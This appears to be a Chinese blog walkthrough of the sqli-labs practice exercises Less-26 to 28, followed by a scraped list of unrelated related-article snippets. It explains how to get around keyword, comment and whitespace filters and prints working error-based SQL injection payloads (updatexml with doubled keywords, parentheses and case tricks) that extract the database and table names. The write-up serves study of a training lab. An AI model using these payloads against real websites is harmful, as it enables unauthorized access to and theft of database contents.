Less-(26~28) preg_replace3
Less-26:
核心语句:


各种回显均存在。
本题相比Less-25,多屏蔽了很多符号;
首先是各种注释符 --+,#,/**/ 。 /[]/表示字符集合;任何出现在里面的字符均会被替换。
屏蔽{ / * \ }等比较特殊的字符时,需要加上转义符号。
/s 不是转义 而是匹配任何空白字符,包括空格、制表符、换页符等等。(它等价于 [ \f\n\r\t\v])
划重点,空格没了。
对于只屏蔽空格的地方,我们可以用 /**/ 代替空格,但是这题一下屏蔽到位了,所以只能换方法。
有没有注入方式,完全不需要空格呢?
union select和order by肯定不行了,这两个空格完全没办法避免。
其它地方的空格,尝试都用括号替代。
payload:?id=0'anandd(updatexml(1,concat(0x7e,(select(database()))),1))anandd'1'='1
?id=111'anandd(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))),1))anandd'1'='1
Less-27:


依然是各种回显都有。
相比之前,取消了对and or的过滤,增加了对union和select的过滤。
s 和 m注释符 我暂时觉得没什么用。
这个过滤挺逊的:没有i注释符,所以更改下大小写就可绕过;虽然多过滤了几次,但依然没有递归过滤,多套娃几个select也行。union反正我们本来就不用,更不用管。
payload:?id=111'and(updatexml(1,concat(0x7e,(seLect(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))and'1'='1
Less-28:


依然全回显。
直接搬来27的payload就行了:?id=111'and(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))and'1'='1
虽然$sql里多了小括号,但不知道什么原因,我本地跑还是对的。
严谨的说,111'后面加上小括号才能说得过去;那样的话,
payload变成?id=111')and(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))and('1')=('1
(PS:buuoj的Less-28无报错回显。人麻了。)
实际上,在这里空格可以使用 %a0 替换;原理我不知道。利用%a0替换,我们可以用union select完成Less-26~28以及26a、28a的注入。
Less-(26~28) preg_replace3的更多相关文章
- 《神秘的程序员们》漫画26~28:《万年坑系列》 I、II、III(转)
26 <万年坑系列> I:那些令你憎恶的系统从何而来? 世界上总有一些令人憎恶的系统,而你却天天非用不可.这些系统的提供方们既不缺钱也不缺人,有的还很热衷于改版升级. 但为何升级完后,它们 ...
- Entity Framework技巧系列之七 - Tip 26 – 28
提示26. 怎样避免使用不完整(Stub)实体进行数据库查询 什么是不完整(Stub)实体? 不完整实体是一个部分填充实体,用于替代真实的对象. 例如: 1 Category c = new Cate ...
- <LeetCode OJ> 26 / 264 / 313 Ugly Number (I / II / III)
Write a program to check whether a given number is an ugly number. Ugly numbers are positive numbers ...
- 【知识积累】try-catch-finally+return总结
一.前言 对于找Java相关工作的读者而言,在笔试中肯定免不了遇到try-catch-finally + return的题型,需要面试这清楚返回值,这也是这篇博文产生的由来.本文将从字节码层面来解释为 ...
- JAVA/GUI程序之记事本
自上半年JAVA课程结束后,再也没有看过JAVA了,最近不是很忙,又简单的看了看,本博客纯属记录学习过程,请大神们别笑,其中错误是难免的,毕竟是新手写的博客.下面就进入我们的正题吧,复习GUI时,就想 ...
- [Erlang 0127] Term sharing in Erlang/OTP 上篇
之前,在 [Erlang 0126] 我们读过的Erlang论文 提到过下面这篇论文: On Preserving Term Sharing in the Erlang Virtual Machine ...
- [LeetCode] Super Ugly Number 超级丑陋数
Write a program to find the nth super ugly number. Super ugly numbers are positive numbers whose all ...
- C语言学习 第八次作业总结
本次作业其实没有新的内容,主要就是复习上一次的一维数组的相关内容.冯老师布置了5道题目,其中涉及到一些比较简单的排序或者是查找的方法.因为数据很少,所以直接使用for循环遍历就可以了. 关于本次作业, ...
- 获取文本的编码类型(from logparse)
import java.io.BufferedReader; import java.io.File; import java.io.FileInputStream; import java.io.F ...
随机推荐
- NOIP模拟26「神炎皇·降雷皇·幻魔皇」
T1:神炎皇 又是数学题,气死,根本不会. 首先考虑式子\(a+b=ab\),我们取\(a\)与\(b\)的\(gcd\):\(d\),那么式子就可以改写成: \[(a'+b')*d=a'b' ...
- 【Python从入门到精通】(二十五)Python多进程的使用
您好,我是码农飞哥,感谢您阅读本文,欢迎一键三连哦. 本篇重点介绍Python多进程的使用,读者朋友们可以将多进程和多线程两者做一个对比学习. 干货满满,建议收藏,需要用到时常看看. 小伙伴们如有问题 ...
- linq 集合按照多列进行distinct
List<TaskBatch> sourceList = (from c in BatchCollecion ...
- SQLmap的基本命令
Sqlmap sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL进行SQL注入.目前支持的数据库有MySql.Oracle.Access.PostageSQL.SQL ...
- CodeForce-782B The Meeting Place Cannot Be Changed(高精度二分)
https://vjudge.net/problem/CodeForces-782B B. The Meeting Place Cannot Be Changed time limit per tes ...
- Jwt的新手入门教程
Jwt的新手入门教程 1.Jwt究竟是什么东东? 先贴官网地址:JSON Web Tokens - jwt.io 再贴官方的定义: What is JSON Web Token? JSON ...
- Linux系列(32) - rpm命令管理之RPM查询(4)
RPM包默认安装位置 RPM包默认安装路径 /etc/ 配置文件安装目录 /usr/bin/ 可执行的命令安装目录 /usr/lib/ 程序所使用的函数库保存位置 /usr/share/doc/ 基本 ...
- requestAnimationFrame 切换页面问题
requestAnimationFrame 切换页面时, 之前定时的内容还会继续执行. 所以 要注意处理动画函数内容,否则会出现死循环. 遇到的问题: 我在两个页面都有使用 requestAnimat ...
- [转载]php连接postgreSQL数据库及其操作(php5,postgreSQL9)
数据库连接:dbconn.php<?php$conn = pg_connect("host=localhost port=5432 dbname=myd user=postgres p ...
- 【CTF】msf和impacket联合拿域控内网渗透-拿域控
前言 掌控安全里面的靶场内网渗透,练练手! 内网渗透拿域控 环境:http://afsgr16-b1ferw.aqlab.cn/?id=1 1.进去一看,典型的sql注入 2.测试了一下,可以爆库,也 ...